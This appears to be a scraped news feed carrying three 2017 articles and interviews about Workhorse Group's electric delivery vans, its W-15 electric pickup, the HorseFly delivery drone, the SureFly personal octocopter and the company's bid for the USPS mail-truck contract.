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]]> https://briefnews.eu/2018-subaru-impreza-in-depth-a-trusty-and-predictable-workhorse/feed/ 0 Mail Forwarding: Workhorse Vies for USPS Contract, Readies Vans, Drones, Copters https://briefnews.eu/mail-forwarding-workhorse-vies-for-usps-contract-readies-vans-drones-copters/ https://briefnews.eu/mail-forwarding-workhorse-vies-for-usps-contract-readies-vans-drones-copters/#respond Sat, 11 Nov 2017 12:23:48 +0000 http://briefnews.eu/mail-forwarding-workhorse-vies-for-usps-contract-readies-vans-drones-copters/ Workhorse N-Gen

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The Workhorse N-Gen sounds at first description like a Hollywood spy-movie cliché: a near silent electric powertrain within a white van with a rather frumpy, nondescript exterior—and a little drone aircraft deployed from the roof to make the final move to the target.

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Its reason for being is much more pragmatic, however; it’s the latest in a growing line of delivery vehicles from Workhorse of Ohio, positioned for the greening of corporate fleets while keeping ownership costs extremely low. The N-Gen is designed to replace a generation of small delivery vans powered by gasoline and diesel engines. Although final specs aren’t out yet, it’s expected to weigh hundreds of pounds less than those older vans, thanks to a lightweight composite body. Electric motors will provide about 100 miles of plug-in power, while a small onboard gasoline-fired range-extending engine will add another 75 miles of range. Workhorse claims up to 65 miles per gallon equivalent (MPGe) for the N-Gen.

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Although Workhorse has been teasing its W-15 range-extended electric pickup (pictured below), which we briefly drove earlier this year, for much longer, it’s the N-Gen that will reach the market first; production will start in the first quarter of next year. “It’s coming out first because regulatory-wise it’s just easier,” explained CEO Stephen Burns, explaining that it’s closely related to the vehicle that’s a finalist in the United States Postal Service Next Generation Delivery Vehicles (NGDV) vetting process. Workhorse, in conjunction with truck outfitter VT Hackney, delivered its six prototype vehicles on time in September for evaluation. The USPS is expected to announce around March 1 what company gets the contract to build up to 180,000 vehicles over a time period of up to seven years.

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Workhorse-W-15-Electric-Work-Truck-102

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Burns said that with the potential for high-volume production (and long-term support), lining up Tier 1 suppliers for the USPS project hasn’t been an issue. So it was a natural next step to develop a commercial-van version at the same time.

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Panasonic (Tesla) Batteries, BMW Range Extender

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The N-Gen and Workhorse’s W-15 pickup will share quite a lot, including their composite body construction. Burns told Car and Driver that they’ll use the same batteries: Panasonic 18650-format cells, a “commodity” format that is roughly AA size and essentially the same as is used in the Tesla Model S and Model X, among other vehicles. But what’s different is the range extender.  While the production version of the W-15 will use a 1.5-liter three-cylinder BMW range extender, the N-Gen is going to use the 647-cc two-cylinder Kymco-built engine from the BMW i3, Burns said.

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That’s because, while the van would only be aimed at commercial use, with well-defined driving loops and the range extender strictly as an emergency crutch, the pickup is being designed with a wider operating range—including sustaining its peak power after the battery is depleted.

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W-15 chassis

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Burns said the general public has given the electric pickup an unexpectedly strong reception, and now the company is trying to decide whether to build a consumer-focused version. “We’ve really been wrestling with it,” he said. “But we want to cut our teeth with fleets because that’s our DNA. We want to make sure we never disappoint them.”

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The N-Gen has all-wheel drive, which is unusual for a commercial van. “These delivery guys have to go in all sorts of weather,” Burns said. Meanwhile, the company touts the low-floor design combined with the body-on-frame layout and standard pickup-truck ride height as providing a good blend of clearance, durability, and loading ease.

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Workhorse says that its electric vehicles have already logged nearly two million miles and are in use in 14 states. The company has been ramping up production at an Indiana plant; this summer and fall, it made 143 of its larger E-Gen trucks for the United Parcel Service (out of a total order of 200 from UPS), and it is currently at a production rate of about three vehicles a day. W.B. Mason has also placed an order for those larger vehicles, Ryder is providing sales and support, and Workhorse has one other large order pending that Burns can’t yet talk about. With its current factory, Workhorse can make 60,000 vehicles of the roadgoing kind per year. And if the USPS contract happens? “We could probably fit more,” Burns added. “But it falls under ‘good problems to have.’ ”

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It’s Really about the Last Mile

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If you’re in the shipping logistics business—or if you have anything to do with e-commerce and shipping goods—“last-mile delivery” is what it’s all about. In the last mile or few miles of getting a parcel to its final destination, the costs ratchet up, and the task becomes more complex. It’s exactly what Workhorse appears to be trying to address with its approach, which embraces electrification and, when necessary, takes to the skies. According to a report last year from McKinsey & Company, 60 percent of consumers are either in favor of or indifferent to drone delivery.

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HorseFly DesignWorkhorse hasn’t yet said much about the HorseFly drone that comes with the N-Gen, but it’s a model that the company engineered in-house. It will deploy from the vehicle and will be software linked, so that it might be able to take a small package to a nearby cul-de-sac, for instance, while a larger one is being delivered.

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This isn’t the only company vying for the last-mile delivery business and its electric future. One particularly well-funded effort is Chanje, a startup that has managed to recruit former executives from Volkswagen, Tesla, and one earlier fleet-focused company, Smith Electric Vehicles.

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And a Hybrid Helicopter for Two

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Workhorse also has a larger, manned aircraft under development. The unique eight-blade SureFly Octocopter, which the company revealed at the Paris Air Show this summer, can hold the pilot plus one other occupant. It’s also an electrified product, but with power sources prioritized the opposite way compared to its trucks; there, a gasoline engine provides power to the electrically driven prop system, and twin battery packs serve as a five-minute power backup, allowing the pilot enough time to land if they run out of fuel or the engine fails.

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Workhorse SureFly Octocopter

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Burns said that the company is hoping for its first manned flight of the vehicle toward the end of the year or the first week of January and hinted that there may be a first public demo at the 2018 CES technology show in early January.

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Considering Workhorse’s wide portfolio of intended products, from larger delivery trucks to vans and pickups and from copters to drones, what comes as a complete surprise is that the company operates in the minor margins. A third-quarter financial report this last week listed total operating expenses, including R&D, of $ 8.4 million for the quarter. That’s small change; by comparison, Tesla’s R&D spending in the same quarter was at about $ 332 million, and BMW’s was $ 4.1 billion. Burns agrees that while they’ve done a lot with a little, they need a partner to see the full vision through.

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Whatever the future, Workhorse has already succeeded in being an anti-Tesla in many respects. Fleet managers live outside the retail hype in a reality of uptime, reliability, and operating costs, and while Workhorse’s vehicles, the N-Gen included, are hardly icons of design, they target those needs to a T.

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]]> https://briefnews.eu/mail-forwarding-workhorse-vies-for-usps-contract-readies-vans-drones-copters/feed/ 0 Interview: Workhorse CEO Steve Burns is a busy man https://briefnews.eu/interview-workhorse-ceo-steve-burns-is-a-busy-man/ https://briefnews.eu/interview-workhorse-ceo-steve-burns-is-a-busy-man/#respond Thu, 02 Nov 2017 13:32:43 +0000 http://briefnews.eu/interview-workhorse-ceo-steve-burns-is-a-busy-man/
When we talked with Workhorse Group CEO Steve Burns in a recent interview, we spent a lot of time discussing the company’s W-15 range-extended electric pickup. While that endeavor is “the most complicated thing we’ve done,” according to Burns, it’s not the only iron in the fire. Workhorse has a few other projects, some of which are really innovative by any standard. Besides the pickup, Workhorse still builds electrified delivery trucks (and is competing to sell to the U.S. Postal Service), is developing delivery drones that launch from the roof of a vehicle, and even has a personal hybrid flying machine in the works. That Burns found the time to talk to us amid all that is impressive.

U.S. Postal Service

The United States Postal Service is looking for candidates to replace the current generation of delivery trucks. The Grumman Long Life Vehicle went into service in 1987, and has outlived its original intended lifespan of 24 years. The USPS has named five finalists for the new contract, and Workhorse, along with its partner VT Hackney, is one of those few. In early October, Trucks.com posted photos of what it claimed to be Workhorse’s candidate delivering mail. We asked Steve Burns about them. He was reluctant to say much, though, saying he’d been reprimanded already for doing so.

“The Post Office has all five companies really on a strong gag order, so [we’re] just not allowed to talk about it,” Burns told us. They are on public roads delivering mail, so things like the Trucks.com people are going to walk out to their mailbox and take an Instagram and say, ‘Look, what the heck is that?’ So I think it’ll start to migrate more into the public eye, but we are not allowed to say anything, unfortunately.”

He did offer up that Workhorse is supplying the chassis, including the powertrain, and that VT Hackney would supply the body. “We didn’t have a body solution at the time, and it was a good partnership,” Burns said.

SureFly

The SureFly is the hybrid-powered personal flying machine Workhorse is developing. “That one I can talk about,” said Burns, though it’s a bit harder for people to grasp. “We don’t have to explain what a pickup truck is,” said Burns, “but we just say we’re making it better, and everybody can kind of understand that quickly. But the SureFly’s a new category. There are no personal flying electric machines. So it takes a little more education, but, intuitively, everybody’s wanted to just fly above traffic and go to work in their own little flying machine. From that point of view, everybody gets it very quickly.”

The SureFly is a two-person (or one person with cargo) manned helicopter with eight rotors, each powered by its own electric motor. It is meant for short flights, with about 70 miles of range. A gasoline generator supplies the power to the motors, and two lithium-ion battery packs act as backup, providing five minutes of time to land after it’s out of gas. It’s small enough to fit in a garage, thanks to its folding arms. Workhorse intends for the price to be about $ 200,000 or less.

“At first glance, it may seem like a diversion,” said Burns. “We’re busy enough with the pickup truck and all the trucks we build.” But to hear Burns explain why Workhorse is building the SureFly, it begins to make more sense.

Workhorse already has the HorseFly package delivery drone (more on that in a bit), which has been in development for years. “It can carry 10 pounds, so it has kind of a load underneath it, and we had a customer that wanted a big one to carry more weight. As we built it up we discovered, well, we could build a personal flying machine here.”

Burns thinks Workhorse is well suited to the task, too. “It’s our skill set. It’s batteries. Batteries are the key. It’s a hybrid, which most of our trucks are. It’s motor control, it’s rare earth lightweight magnetic motors. And we’ve learned to fly with the HorseFly drone, so it’s all the skill sets we have. It’s carbon fiber, which most of the vehicles we’re making these days have carbon fiber in them somewhere. We didn’t have to go out and get a whole new team. We built it with the existing team.”

It began as a request from a logistics customer who wanted something that could carry 60 pounds of cargo, which is more than the 55-pound limit the FAA allows for unmanned drones. “The reason it’s piloted is it’s just much easier to get FAA approval than an autonomous vehicle,” said Burns. “You can imagine how long it’s going to take to get an autonomous helicopter approved.”

But who’s going to buy it? “So far, it’s individuals,” Burns said.

Workhorse is planning a demonstration flight later this year. “I think when folks see that, they’ll be able to really grasp what it is and what they could use it for,” said Burns. “It could be a farmer who’s using it for precision agriculture. It could be emergency responders. You should be able to get there before any ambulance. It could be military. It could be just commuters. It could be air taxis like Uber’s trying to set up.”

In addition to being more affordable, the SureFly has other advantages of a standard helicopter. “The reason we think everybody doesn’t have a small helicopter in their garage is safety. Conventional helicopters are difficult to fly, to learn to fly. They have a lot of single points of failure. If one thing breaks, then it’s going to be a bad day.” Multiple rotors, battery backup, and a ballistic parachute provide far more redundant safety than a Jesus nut.

Plus, it’s easy to pilot. “You fly it with a joystick and an up/down button,” Burns told us. “Basically, if you can fly a drone, you can fly this.” Workhorse is currently working with the FAA to get it certified as a Light Sport Aircraft, the license for which requires 20 hours of flight time, as opposed to 1,500 hours required to fly a regular helicopter.

Burns says Workhorse has been surprised by the amount of interest in the SureFly, considering he doesn’t think it’ll get FAA approval until 2019.

HorseFly

Earlier this year, Workhorse demonstrated its HorseFly delivery drone, which launches from the roof of a vehicle (in that case, a UPS truck) to take the package to its final destination. Steve Burns said that the reason drones aren’t already delivering packages is because the FAA requires a person to maintain line-of-sight with the flying robot. That makes it seem impractical for most use cases, but Workhorse has identified rural and suburban areas as places where the HorseFly can have an advantage. If that’s surprising to you, you’re not alone, but there are good reasons why they’re better suited to those locales than urban ones.

For one, the lower population density and lack of tall buildings makes it easier to keep an eye on the drone. “It launches from atop a truck, and so you have somebody in the vicinity, and line of sight is, let’s say maybe a mile, mile and a half, which can jump you over a farm,” Burns said. “You don’t want to have to drive to this farm. You can just jump over there. It can jump you over a neighborhood. Literally, though, you could pull up, be delivering to one house, and give it to the drone, and let it go four houses down and deliver and get back probably by the time you get back.”

Rural areas are a “double win,” said Burns. “The FAA likes it because there’s not many people on the ground underneath the drone. And then the delivery companies like it because rural delivery is the most expensive per package because of the long distances between.”

As with all logistics, efficiency is key. “A big part of the cost of delivering last-mile packages is driver time, and it’s much more than gasoline or maintenance. So the drone is to help reduce driver time, and make them more efficient. It’s just remarkable what a mile or a mile and a half — lots of those little jumps — can save you in a day.”

Automation

When we asked Burns if Workhorse is working on automation for its vehicles, he said, “Oh yeah. Of course. You can’t be a vehicle maker without looking at that.” He said Workhorse is putting as much autonomous driving hardware into its trucks as it can, so they’re easy to retrofit in the future.

“The new trucks next year are going to have automatic braking,” he said. “You might see that on luxury cars right now, where it brakes for you. We’re going to have that in these big delivery trucks, because these trucks are large. If they hit somebody, it’s not good. So it’s not full autonomous, but we think it’s really going to be an important safety innovation. Normally trucks lag very, very far behind automotive, so we’re trying to bring them up on par with automotive.”

Clearly, Workhorse has its work cut out for it. “So you’re working on the W-15, you have electric trucks, you’ve got the SureFly, the HorseFly, the Post Office, UPS,” we said to Burns. “Is there anything else that you’re working on?”

“No,” he replied, laughing. “Nope, that’s it.”

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]]> https://briefnews.eu/interview-workhorse-ceo-steve-burns-is-a-busy-man/feed/ 0 Interview: Workhorse CEO Steve Burns on the W-15 electric pickup https://briefnews.eu/interview-workhorse-ceo-steve-burns-on-the-w-15-electric-pickup/ https://briefnews.eu/interview-workhorse-ceo-steve-burns-on-the-w-15-electric-pickup/#respond Tue, 31 Oct 2017 15:47:10 +0000 http://briefnews.eu/interview-workhorse-ceo-steve-burns-on-the-w-15-electric-pickup/ In 2013, AMP Motors went from being a company converting traditionally powered vehicles to electrification, to being an OEM, essentially overnight. As Workhorse CEO Steve Burns told Autoblog during a phone interview, a company called Navistar got in trouble with the EPA, fired their CEO and “just had a fire sale and started selling off everything that was non-core to their core business. And one of them was this Workhorse facility,” located in Union City, Indiana. “So we bought the brand and the intellectual property, and the plant, and everything. One shot.”

Several years later, AMP is now called Workhorse Group, and that plant in Union City will build the first mass-produced electric pickup truck, the Workhorse W-15. That’s assuming the company stays ahead of the likes of Tesla, which has plans for its own EV pickup. As a refresher, the W-15, unveiled in May of this year, is technically a plug-in hybrid. More specifically, it’s an electric vehicle with a gasoline range extender. On a full charge, it can do 80 miles on electric power, and achieves 32 miles per gallon highway and 28 mpg city when using the gas motor. Its dual electric motors provide 460 horsepower, and push it from 0-60 miles per hour in 5.5 seconds. It can carry 2,200 pounds of cargo in the bed, and is rated to tow 5,000 pounds. Its battery also helps to serve as a mobile power supply, and a 7.2-kilowatt, 30-amp outlet on the side can be used to power tools or other equipment.

For Burns, building the first electric pickup (unless you count the tiny, unsuccessful runs from Ford and Chevy) is a task that carries a lot of “gravity.” “Pickup truck is the No. 1 vehicle,” he said, “No. 1, No. 2 and No. 3 best-selling vehicles in America — and there isn’t even a mild hybrid pickup truck. And so we figured it’s not going to come from the incumbents.”

In spite of Tesla’s intentions, Workhorse isn’t sacrificing security for haste. That’s why the company has been taking preorders to gauge the demand for a PHEV pickup. “We couldn’t build it and hope they came. We wanted to make sure there was an audience of customers.”


But they sure came. Workhorse has almost $ 300 million worth of preorders for the W-15 (and already had 4,650 letter-of-intent preorders when it was unveiled in May), which it plans to begin building in late 2018. “All fleets” so far, Burns said. “We’re just doing fleets, to start. We do have an immense amount of individuals that have written us and want it, but we haven’t gone that route yet.”

So, of course, we asked, will Workhorse go that route?

“Pickup truck is the No. 1 vehicle — No. 1, No. 2 and No. 3 best-selling vehicles in America — and there isn’t even a mild hybrid pickup truck. And so we figured it’s not going to come from the incumbents.”

“Yeah,” said Burns, “I think we will. The demand is so strong, and I think fleets will let us cut our teeth in kind of a controlled environment. Then we’ll probably open it up to individuals to place preorders, kind of like a Tesla. Put money down on a credit card, something like that, just to hold their place in line and to make sure the demand is what we think. And then, maybe in ’19 – late ’19 — start filling those orders after we get through the fleet orders.”

But why the range extender? Why not go pure electric? “The thing with pickup trucks,” said Burns, “is they’re kind of different than a passenger vehicle in that suddenly they can double their weight, right? They can tow something heavy. They can throw 3,000 pounds in the bed. So whatever range you thought you were going to get really can be diminished very quickly, and we think people would be disappointed.” Workhorse’s customers — fleets — sometimes need to do more than 80 miles a day, or carry a big payload, and the range extender is an “insurance policy” for them. Also, it allows for a smaller battery pack, which helps keep the price down.

Speaking of which, the W-15 will cost about $ 52,500. “When you say $ 50,000 for a pickup truck, a lot of people say, ‘Well that’s a normal pickup truck,'” Burns said, the kind an everyday consumer would purchase. “Fleets are usually buying really stripped-down ones that are less expensive. But the fact that these people have ordered these tells us, at that price point, they see where the curves cross. It’s a little more than a Ford F-150 gasoline truck out of the gate, but it quickly pays for itself in gas and maintenance savings.”

In preparing to launch the W-15, Burns has been spending a lot of time in Detroit. That’s where a lot of its parts will be manufactured before being shipped to Union City for assembly. Burns spoke of the city and its “gung-ho folks” with reverence. “I’ve come to think of Detroit as just a magical place,” Burns told us. “Anything you need, you can get built there.”

As busy as Steve Burns may be with the W-15 (which he referred to as “the most complicated thing we’ve done”), Workhorse has a lot of other projects in the works. The company also continues to build electric delivery trucks, and is competing to provide the U.S. Postal Service with its next mail truck. Workhorse also recently demonstrated an automated delivery drone that launches from the roof of a UPS truck. The company is also taking on the challenge of building a personal hybrid flying machine. We talked about all those projects with Burns, and will follow up in separate post soon.

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